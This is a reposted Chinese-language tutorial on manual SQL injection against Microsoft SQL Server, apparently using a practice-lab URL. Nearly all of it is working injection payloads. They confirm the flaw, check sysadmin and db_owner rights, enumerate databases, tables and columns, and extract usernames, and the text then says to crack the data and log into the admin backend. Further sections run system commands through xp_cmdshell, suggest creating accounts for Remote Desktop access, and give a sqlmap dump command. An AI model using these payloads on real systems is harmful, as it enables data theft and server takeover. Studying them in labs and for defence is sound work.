MSSQL手工注入


一、手工注入

Step1:檢測注入點

  通過payload檢測   

  http://……/less-1.asp?id=1' and 1=1--

  http://……/less-1.asp?id=1' and 1=2--

Step2:判斷數據庫類型

  select * from sysobjects   (sysobjects 系統對象表,保存當前數據庫的對象)

  select * from users where id=1 and exists(select * from sysobjects)    有結果說明該數據庫是mssql

  http://……/less-1.asp?id=1' union select * from users where id=1 and exists(select * from sysobjects)--

Step3:注入點權限的判斷(根據頁面顯示效果)

  select IS_SRVROLEMEMBER('sysadmin'); 判斷當前是否為sa

  http://……/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('sysadmin'))>0--

  select is_srvrolemember('db_owner'); 判斷當前用戶寫文件、讀文件的權限(db_owner)

  http://……/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('db_owner'))>0--

  select is_srvrolemember('public');判斷是否有public權限,可以爆破表

  http://……/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('public'))>0--

Step4:信息收集

  1‘ and (user)=1--

  當前數據庫版本: select @@version    = 1  報錯

  http://……/less-1.asp?id=1' and (select @@version)=1--

  當前用戶:   user

  http://……/less-1.asp?id=1' and (user)=1--

  當前數據庫:    select db_name()     

  http://……/less-1.asp?id=1' and (select db_name())=1--

    db_name(0) 當前數據庫,其中的參數表示第幾個數據庫

    SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms'); 

      SELECT top 1 Name FROM Master..SysDatabases  在系統數據庫中能夠查詢所有的數據庫

      where name not in ('master','aspcms')    表示查找的結果不在括號中的集合中

Step5:當前數據庫中的表

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0    獲取第一個表名

  http://……/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0)=1--

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('emails')   第二個表名

  http://……/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('emails'))=1--

Step6:獲取指定表的字段名

  select top 1 column_name from test.information_schema.columns where table_name='users'   獲取第一個字段

  http://……/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users')=1--

  select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id')   第二個字段

  http://……/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id'))=1--

Step7:獲取字段的數據

  select top 1 username from users

  http://……/less-1.asp?id=1' and (select top 1 username from users)=1--

Step8:解密數據,登錄后台

 

二、MSSQL的 xp_cmdshell 模塊

  select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'

  exec master..xp_cmdshell 'whoami'    //執行系統命令

  http://………….asp?id=1';exec master..xp_cmdshell 'whoami'--    //不顯示執行結果

  如果想看到執行命令之后的結果:需要創建一個臨時表,將執行結果寫進去,最后再讀

  也可以直接通過命令創建用戶,通過遠程桌面登錄目標計算機

 

三、使用SQLMAP對MSSQL注入漏洞進行利用

  sqlmap.py -u “target_url” -dbs mssql --dump --force-pivoting

 

 

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM